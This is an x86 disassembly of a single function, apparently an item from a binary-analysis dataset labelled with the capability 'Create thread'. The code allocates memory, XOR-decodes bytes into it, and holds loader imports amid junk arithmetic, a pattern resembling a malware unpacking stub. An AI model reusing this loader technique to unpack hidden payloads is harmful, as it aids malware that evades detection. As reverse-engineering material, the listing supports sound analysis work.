Function at 0x40165f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x64], 0
mov edx, dword [ebp - 0x4c]
mov dword [edx], 0xddaf831e
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x50], 0
push 4
mov eax, dword [ebp - 8]
add eax, 0x188
push eax
lea ecx, [ebp - 0x28]
push ecx
call fcn.00405985
add esp, 0xc
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x68], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0x40
mov edx, dword [ebp - 0x28]
add edx, 0x15
mov dword [ebp - 0x28], edx
mov eax, dword [0x40e03c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x60], 0
mov ecx, dword [ebp - 4]
sub ecx, 0xafed872
mov dword [ebp - 4], ecx
cmp dword [ebp - 0x60], 0
jne 0x4017b8
mov dword [ebp - 0x5c], 0x40
cmp dword [ebp - 4], 0xa
jae 0x401749
push 0
push 0
push 0
mov edx, dword [ebp - 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 0x5c]
push eax
push 0x1000
mov ecx, dword [ebp - 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 8]
mov dword [edx + 0x158], eax
mov eax, dword [ebp - 4]
mov dword [0x40e03c], eax
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x158], 0
jne 0x401798
push 0x8000
push 0
mov edx, dword [ebp - 8]
xor eax, eax
cmp dword [edx + 0x158], 0
sete al
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x1c], 0x57
mov ecx, dword [ebp - 0x28]
add ecx, 0x456
mov dword [ebp - 0x28], ecx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4017ce
push 0x3e8
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x70], eax
mov edx, dword [ebp - 0x70]
mov byte [edx], 1
mov eax, dword [ebp - 8]
cmp dword [eax + 0x158], 0
je 0x4017e7
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x1e0], 8
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x1f4]
add eax, 0x13
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x1f4], eax
mov edx, dword [ebp - 8]
cmp dword [edx + 0x158], 0
je 0x401ac1
cmp dword [ebp - 0x1c], 0x57
jne 0x401ac1
mov eax, dword [ebp - 8]
cmp dword [eax + 0x1e0], 8
jne 0x401830
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x1f4]
mov dword [ebp - 0x6c], edx
jmp 0x40183d
mov eax, dword [ebp - 8]
mov dword [eax + 0x1f4], 0
push 0x140
push 0
lea ecx, [ebp - 0x1b0]
push ecx
call fcn.004059c0
add esp, 0xc
mov edx, dword [ebp - 8]
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [edx + 0x210], eax
mov ecx, dword [0x40e03c]
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 8]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [edx + 0x100], eax
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x100], 0
jbe 0x401aa0
mov edx, dword [ebp - 8]
cmp dword [edx + 0x1e0], 8
jne 0x401aa0
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1c0], 4
mov dword [ebp - 0x1dc], 1
mov dword [ebp - 0x18], 0x434
mov dword [ebp - 0x1d4], 0
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b8], 0x7b
mov eax, dword [ebp - 0x28]
add eax, 0xf4291
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x1cc], 0
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [0x40e03c]
jae 0x401a9e
cmp dword [ebp - 0x1b8], 0x7b
jne 0x401a9e
mov dword [ebp - 0x1e4], 0
jmp 0x401934
mov edx, dword [ebp - 0x1e4]
add edx, 1
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x1e4], 4
jae 0x4019dc
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [0x40e03c]
jae 0x4019dc
mov edx, dword [ebp - 0x6c]
add edx, dword [ebp - 0x24]
mov al, byte [edx]
mov byte [ebp - 0x1e8], al
mov ecx, dword [ebp - 0x1e4]
mov dl, byte [ebp + ecx - 0x28]
mov byte [ebp - 0x1ec], dl
mov al, byte [ebp - 0x1ec]
push eax
mov al, byte [ebp - 0x1e8]
pop bx
xor al, bl
mov byte [ebp - 0x1c4], al
lea eax, [ebp - 0x1ec]
mov dword [ebp - 0x1d0], eax
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x1e0], ecx
lea edx, [ebp - 0x1bc]
mov dword [ebp - 0x1d8], edx
mov eax, dword [ebp - 0x1d8]
mov cl, byte [ebp - 0x1c4]
mov byte [eax], cl
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x158]
mov dword [ebp - 0x1f0], eax
mov ecx, dword [ebp - 0x1f0]
add ecx, dword [ebp - 0x24]
mov dl, byte [ebp - 0x1bc]
mov byte [ecx], dl
jmp 0x40191c
cmp dword [ebp - 0x24], 0
jbe 0x401a92
mov dword [ebp - 0x1e4], 0
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x1e4]
mov cl, byte [eax + 0xc8]
mov byte [ebp - 0x1cc], cl
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x1f4], edx
mov eax, dword [ebp - 0x6c]
add eax, dword [ebp - 0x1f4]
mov cl, byte [eax]
mov byte [ebp - 0x1b4], cl
mov ah, byte [ebp - 0x1b4]
mov al, byte [ebp - 0x1cc]
xor ah, al
mov byte [ebp - 0x1b4], ah
mov edx, dword [ebp - 0x1e4]
add edx, 2
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x158]
mov edx, dword [ebp - 0x24]
mov al, byte [ebp - 0x1b4]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x24]
add ecx, 2
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x1e4]
sub edx, 1
mov dword [ebp - 0x1e4], edx
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1e4]
cmp ecx, dword [ebp - 0x1c0]
jae 0x401a92
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x50]
jb 0x4019f0
mov dword [ebp - 0x64], 1
jmp 0x4018f4
jmp 0x401aa9
mov eax, dword [ebp - 8]
push eax
call fcn.004025fe
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x158]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
mov dword [eax + 0x170], ecx
cmp dword [ebp - 0x64], 0
jne 0x401ace
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret